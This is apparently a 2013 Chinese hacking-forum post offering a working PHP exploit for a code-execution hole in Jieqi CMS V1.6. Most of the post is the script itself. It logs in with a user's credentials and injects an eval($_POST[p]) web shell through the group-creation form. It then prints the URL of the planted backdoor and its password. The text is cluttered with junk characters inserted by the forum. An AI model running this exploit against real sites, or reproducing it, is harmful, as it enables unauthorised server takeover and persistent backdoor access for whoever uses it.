找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
) G- `" H" I+ Z8 `; {/ q9 d' p) V* U" u1 L
. C0 F1 B' m/ P5 w6 U7 s4 C/ {
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
$ `* q  o7 T& x8 u7 T8 Q 需要有一个能创建圈子的用户。
9 F) c2 |. B! V# x ( _, I+ u) b' W
<?php. T8 P( }3 j5 n2 c( o
7 k. w$ y. g' f  i' V
print_r('( z% o- E/ J0 z$ _
+---------------------------------------------------------------------------+6 l  F) g/ T; x3 w
Jieqi CMS V1.6 PHP Code Injection Exploit. T2 m' S9 E+ j( w: u8 |0 ?
by flyh4t
; V) L4 N: `2 {, Y9 R/ C" d1 Ymail: phpsec at hotmail dot com& M: K* Z! W- t( c, `: {3 n$ U* D
team: http://www.wolvez.org
0 A4 N( Y$ l$ s0 Y/ ~1 Q6 m+---------------------------------------------------------------------------+
9 S  ]6 S. [; @6 o5 `2 M# u! D'); /**' ~. x1 }. e* g! ~8 @. D
* works regardless of php.ini settings/ S' w6 ?- S! R# u9 S
*/ if ($argc < 5) { print_r('& t: r* _, t6 m. X. C0 J
+---------------------------------------------------------------------------+' ]# y: {0 y- a* o! V7 }
Usage: php '.$argv[0].' host path username- A0 F! u- d% H3 u
host:      target server (ip/hostname)6 m' r4 P1 p) g% O
path:      path to jieqicms ( \/ t+ @. \- S% V# ~8 b. F9 s
uasename:  a username who can create group
) N0 S  s$ \) u% A1 I: O5 o  fExample:7 i7 t& G: l7 V: T2 B9 x
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- A  N+ n% o$ G7 i9 J+---------------------------------------------------------------------------+( I( H3 ^+ A8 A& Y
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
! K! `" t3 E/ `$ E8 ?) T! pContent-Disposition: form-data; name="gname"
5 N2 S# b. o0 T- `
4 a2 |0 o: w* D: Z3 d* y& H5 ^'; $params .="';"; $params .='eval($_POST[p]);//flyh4t3 _( d* d/ J% m9 R
-----------------------------23281168279961
( Q# D# g0 Q+ v& g( uContent-Disposition: form-data; name="gcatid"
) m3 G5 f: e( G0 I5 L! z5 \ ! w( h7 u8 m) L  [/ F
11 c9 m  y& l! x8 x1 p
-----------------------------232811682799613 @1 c, s# \+ P* n. ~
Content-Disposition: form-data; name="gaudit"
# W4 s% E# G- G. L: ?9 v  K1 A# I   M0 {4 K9 U  S( ^# E
1
- G8 b& e$ H  c$ l-----------------------------23281168279961+ P" h9 g1 U5 k6 t9 D
Content-Disposition: form-data; name="gbrief"
( s! [: T! f6 g- H. W' R 2 t: X6 L5 M8 o$ B2 u
1
) q) p: ~  T- y/ P( F( J9 z- X/ e-----------------------------23281168279961--
  ~1 g  c! U- v" e0 e8 e'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com8 y, t. U0 `. [1 o, x1 D( C# Y' \9 w

, r& q; a  F# a" ]' [0 G4 m4 Dpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表